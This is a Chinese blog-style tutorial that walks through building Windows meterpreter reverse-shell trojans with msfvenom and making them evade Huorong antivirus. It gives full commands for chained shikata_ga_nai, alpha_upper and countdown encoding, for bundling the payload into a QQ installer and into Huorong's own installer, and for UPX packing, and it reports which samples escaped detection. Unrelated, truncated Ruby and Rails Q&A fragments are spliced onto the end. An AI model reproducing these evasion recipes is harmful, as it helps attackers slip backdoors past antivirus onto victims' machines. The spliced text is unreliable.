目的:制作一个能够绕过火绒检测的简单木马,熟悉一下怎么使用msfvenom制作木马,因此此处使用的火绒版本较低。
工具准备:火绒安全-3.0.42.0
下载文章:火绒历史全版本
百度网盘链接:https://pan.baidu.com/s/1ZrpYG63aDtQDVBnDFZoeXw
提取码:kr72
实验环境:kali-2019.4 (攻击方,IP:192.168.255.130)、win10(靶机)
关于Msfvenom:
(msfvenom ----a Metasploit standalone payload generator,Also a replacement for msfpayload and msfencode.)
是用来生成后门的软件,在目标机上执行,在本地机上监听上线。
MSFvenom是Msfpayload和Msfencode的组合,将这两个工具都放在一个Framework实例中。自2015年6月8日起,msfvenom替换了msfpayload和msfencode。
关于免杀: 其实就是使制作的木马免于杀毒软件查杀的意思。技术实现方面由于免杀技术的涉猎面非常广,其中包含反汇编、逆向工程、系统漏洞等技术,内容基本上都是修改病毒、木马的内容改变特征码,从而躲避杀毒软件的查杀。
这里使用6种不同方法进行木马制作
在kali虚拟机上终端输入命令直接生成一个裸漏的木马:
msfvenom -a x86 -p windows/meterpreter/reverse_tcp lhost=192.168.255.130 lport=4444 -f exe -o /root/Desktop/csdn.exe

上面参数意思:
| -a | --arch < architecture> 指定payload的目标架构,例如x86 还是 x64 还是 x86_64 |
| -p | --payload < payload> 指定需要使用的payload(攻击荷载)。也可以使用自定义payload,几乎是支持全平台的 |
| lhost | 指定shell返回的地址 |
| lport | 指定shell返回的端口 |
| -f | --format < format> 指定输出格式 |
| -o | --out < path> 指定创建好的payload的存放位置 |
补充:Msfvenom介绍及利用 内含参数介绍
能看到桌面上生成了一个 csdn.exe 的可执行程序

在 Meatsploit 框架下免杀的方式之一就是使用MSF编码器。其功能是对攻击载荷文件进行重新的排列编码,改变可执行文件中的代码形状,避免被杀软认出。MSF 编码器可以将原可执行程序重新编码,生成一个新的二进制文件,这个文件运行以后,MSF 编码器会将原始程序解码到内存中并执行。
在1)的基础上增加了两个参数,一个是捆绑一个是进行MSF编码
MSF编码方式有很多种,查看方式 msfvenom -l encoders

级别中评得上excellent的只有
cmd/powershell_base64
x86/shikata_ga_nai (接下来使用这种方式编码)
先在kali上随便下载一个软件的安装包,我这里是QQ安装包
下载到桌面

进入桌面:cd /root/Desktop
然后执行命令生成 Windows环境下的木马、并捆绑到QQ9.5.9.28650.exe文件上,同时对进行捆绑后生成的木马文件QQ.Installer.exe进行x86/shikata_ga_nai 编码方式的进行免杀处理:
(了解:Meatsploit 自带了用于捆绑木马的程序模板,其位置在data/templates/template.exe)
msfvenom -a x86 -p windows/meterpreter/reverse_tcp lhost=192.168.255.130 lport=4444 -e x86/shikata_ga_nai -x QQ9.5.9.28650.exe -i 12 -f exe -o /root/Desktop/csdn.exe

参数意思:
-e:指定编码方式对攻击载荷进行重新编码
-x:指定木马捆绑在哪个可执行程序模版上
-i:指定对目标进行编码的次数,多次编码理论上来讲有助于免杀
生成的木马

upx 打包器的原理非常简单,就是将可执行文件中的代码和数据进行压缩,然后将解压缩用的代码附加在前面,运行的时候先将原本的可执行数据解压出来,然后再运行解压缩后的数据。打包器的本质目的是反调试,防止逆向工程,而这里使用打包器的目的是为了改变后门程序的特征码。
upx 可查看UPX简略参数介绍,要是想看详细介绍 upx --help

将刚刚第二种方法生成的木马复制一份,对复制的那份进行upx加壳处理
upx QQ.Installer.1.exe

此种方法失败了。QQ.Installer.1.exe 实际上与QQ.Installer.exe是一样的
失败原因可能是原.exe文件太小,upx压缩失败。
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 20 LHOST=192.168.1.113 LPORT=3333 -f raw | msfvenom -a x86 --platform windows -e x86/alpha_upper -i 10 -f raw | msfvenom -a x86 --platform windows -e x86/countdown -i 10 -f exe -o csdn2.0.exe


可直接复制法4的木马直接进行加壳

将新的csdn2.0.exe改名为csdn2.0.upx.exe 以作区分

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 20 LHOST=192.168.1.113 LPORT=3333 -f raw | msfvenom -a x86 --platform windows -e x86/alpha_upper -i 10 -f raw | msfvenom -a x86 --platform windows -e x86/countdown -i 10 -x sysdiag-full-4.0.81.0.exe -k -f exe > csdn2.exe


注意点:火绒安全要在断网状态下进行病毒查杀,不然可能会更新病毒库。
使用共享文件夹传到本机
使用火绒安全进行病毒查杀结果:

前面5种方式全被查出,第6种避免了查杀。
由于本人用的主机win10而非虚拟机,故在此不进行实践操作
后续操作参考:https://blog.csdn.net/qq_47639375/article/details/106270239
我的kali不能联网,当前WMware下别的虚拟机都可正常联网,并且都是net模式
问题解决方案:kali linux网络配置之NAT模式
这里我不想更改为桥接模式,其实改成桥接模式也能联网,并且虚拟机和主机互能ping通。
由于需要传送文件,我选择安装VMware tools 工具

我的重新安装VMware Tools是灰色的,解决方法参考vmware下Kali解决灰字无法安装VMware Tools
上面方法搞到一半失败了
最终参考
kali2019与win10主机间不能文件互通,我以为安装VMware-tools就可以了。但是在新版本中,VMware自带的vmware-tools已经没效果,官方建议是安装open-vm-tools-desktop来代替其跟物理机交互,所以以下是安装open-vm-tools-desktop的详细教程。
上面总是会有问题,最终很白痴的方法,更新VMware版本,安装kali2021.4版本虚拟机。安装好后就拍了快照,以便后期再出现问题的时候一键恢复。
kali2019.4超详(luo)细(suo)安装教程和中文乱码的解决
apt-get update报错

关于kali2019.4的更新源 (任意选择其中一组就可用,我选的清华源)
#清华大学
deb http://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free
deb-src https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free
#阿里云
deb http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
deb-src http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
#中科大
deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
#浙大
deb http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free
deb-src http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free
最后最后,上面安装的虚拟机在 apt-get update 之后的 apt-get upgrade
报错,原因找了很久,发现可能是因为kali版本和VMware版本相差太远以至于update的包安装覆盖之类的问题导致报错。-----然后我重新下载了iso镜像,kali2021.4版本。结果upgrade还是有问题,甚至还upgrade之后莫名其妙连不上网络。无法解决问题,于是又重装了一遍---傻瓜万能解决方法。等以后深入学习了再找问题的原因。学习到了apt update ,apt upgrade 和 apt dist-upgrade 的区别
还需寻找别的方法制作免杀木马,捆绑查杀工具的方式避免检测不保险。
补充:之后还试了先生成.c文件再用VS2019进行编码,生成解决方案得到木马,也没通过火绒检测。
看到有别的编码方式,用工具,用VC++,
先生成.py文件,用工具 py2exe将.py文件转换为.exe文件。
-----我之后又试了电脑管家检测,发现除了捆绑的火绒的那个木马没被检测到外,那两个捆绑QQ的也没被检测出来,哼哼,不愧是Tencent啊~

关于制作木马,还想尝试的方法
利用kali Linux使用meterpreter制作免杀木马测试入侵windows电脑
在线杀毒 (www.virustotal.com)
VirusTotal,是一个提供免费的可疑文件分析服务的网站。2004年6月由创始人Hispasec Sistemas创立。它与传统杀毒软件的不同之处是它通过多种反病毒引擎(包含360、腾讯、微软、赛门铁克等)扫描文件,使用多种反病毒引擎对您所上传的文件进行检测, 以判断文件是否被病毒, 蠕虫, 木马, 以及各类恶意软件感染。这样大大减少了杀毒软件误杀或未检出病毒的几率,其检测率优于使用单一产品。
检测:
多次编码捆绑火绒-------法6生成的木马

.c文件通过VisualStudio2019编译形成的.exe--------补充里的方法

多次编码未加壳-----------法4生成的木马

多次编码加壳-----------法5生成的木马

.py 用Py2exe生成 .exe ----- 补充里的方法

.py 用Py2exe生成 .exe 用7zip压缩 ---------- 补充里的方法

我试图获取一个长度在1到10之间的字符串,并输出将字符串分解为大小为1、2或3的连续子字符串的所有可能方式。例如:输入:123456将整数分割成单个字符,然后继续查找组合。该代码将返回以下所有数组。[1,2,3,4,5,6][12,3,4,5,6][1,23,4,5,6][1,2,34,5,6][1,2,3,45,6][1,2,3,4,56][12,34,5,6][12,3,45,6][12,3,4,56][1,23,45,6][1,2,34,56][1,23,4,56][12,34,56][123,4,5,6][1,234,5,6][1,2,345,6][1,2,3,456][123
我主要使用Ruby来执行此操作,但到目前为止我的攻击计划如下:使用gemsrdf、rdf-rdfa和rdf-microdata或mida来解析给定任何URI的数据。我认为最好映射到像schema.org这样的统一模式,例如使用这个yaml文件,它试图描述数据词汇表和opengraph到schema.org之间的转换:#SchemaXtoschema.orgconversion#data-vocabularyDV:name:namestreet-address:streetAddressregion:addressRegionlocality:addressLocalityphoto:i
尝试通过RVM将RubyGems升级到版本1.8.10并出现此错误:$rvmrubygemslatestRemovingoldRubygemsfiles...Installingrubygems-1.8.10forruby-1.9.2-p180...ERROR:Errorrunning'GEM_PATH="/Users/foo/.rvm/gems/ruby-1.9.2-p180:/Users/foo/.rvm/gems/ruby-1.9.2-p180@global:/Users/foo/.rvm/gems/ruby-1.9.2-p180:/Users/foo/.rvm/gems/rub
我正在使用puppet为ruby程序提供一组常量。我需要提供一组主机名,我的程序将对其进行迭代。在我之前使用的bash脚本中,我只是将它作为一个puppet变量hosts=>"host1,host2"我将其提供给bash脚本作为HOSTS=显然这对ruby不太适用——我需要它的格式hosts=["host1","host2"]自从phosts和putsmy_array.inspect提供输出["host1","host2"]我希望使用其中之一。不幸的是,我终其一生都无法弄清楚如何让它发挥作用。我尝试了以下各项:我发现某处他们指出我需要在函数调用前放置“function_”……这
我正在编写一个gem,我必须在其中fork两个启动两个webrick服务器的进程。我想通过基类的类方法启动这个服务器,因为应该只有这两个服务器在运行,而不是多个。在运行时,我想调用这两个服务器上的一些方法来更改变量。我的问题是,我无法通过基类的类方法访问fork的实例变量。此外,我不能在我的基类中使用线程,因为在幕后我正在使用另一个不是线程安全的库。所以我必须将每个服务器派生到它自己的进程。我用类变量试过了,比如@@server。但是当我试图通过基类访问这个变量时,它是nil。我读到在Ruby中不可能在分支之间共享类变量,对吗?那么,还有其他解决办法吗?我考虑过使用单例,但我不确定这是
我的最终目标是安装当前版本的RubyonRails。我在OSXMountainLion上运行。到目前为止,这是我的过程:已安装的RVM$\curl-Lhttps://get.rvm.io|bash-sstable检查已知(我假设已批准)安装$rvmlistknown我看到当前的稳定版本可用[ruby-]2.0.0[-p247]输入命令安装$rvminstall2.0.0-p247注意:我也试过这些安装命令$rvminstallruby-2.0.0-p247$rvminstallruby=2.0.0-p247我很快就无处可去了。结果:$rvminstall2.0.0-p247Search
Sinatra新手;我正在运行一些rspec测试,但在日志中收到了一堆不需要的噪音。如何消除日志中过多的噪音?我仔细检查了环境是否设置为:test,这意味着记录器级别应设置为WARN而不是DEBUG。spec_helper:require"./app"require"sinatra"require"rspec"require"rack/test"require"database_cleaner"require"factory_girl"set:environment,:testFactoryGirl.definition_file_paths=%w{./factories./test/
我在理解Enumerator.new方法的工作原理时遇到了一些困难。假设文档中的示例:fib=Enumerator.newdo|y|a=b=1loopdoy[1,1,2,3,5,8,13,21,34,55]循环中断条件在哪里,它如何知道循环应该迭代多少次(因为它没有任何明确的中断条件并且看起来像无限循环)? 最佳答案 Enumerator使用Fibers在内部。您的示例等效于:require'fiber'fiber=Fiber.newdoa=b=1loopdoFiber.yieldaa,b=b,a+bendend10.times.m
我收到这个错误:RuntimeError(自动加载常量Apps时检测到循环依赖当我使用多线程时。下面是我的代码。为什么会这样?我尝试多线程的原因是因为我正在编写一个HTML抓取应用程序。对Nokogiri::HTML(open())的调用是一个同步阻塞调用,需要1秒才能返回,我有100,000多个页面要访问,所以我试图运行多个线程来解决这个问题。有更好的方法吗?classToolsController0)app.website=array.join(',')putsapp.websiteelseapp.website="NONE"endapp.saveapps=Apps.order("
我有两个Rails模型,即Invoice和Invoice_details。一个Invoice_details属于Invoice,一个Invoice有多个Invoice_details。我无法使用accepts_nested_attributes_forinInvoice通过Invoice模型保存Invoice_details。我收到以下错误:(0.2ms)BEGIN(0.2ms)ROLLBACKCompleted422UnprocessableEntityin25ms(ActiveRecord:4.0ms)ActiveRecord::RecordInvalid(Validationfa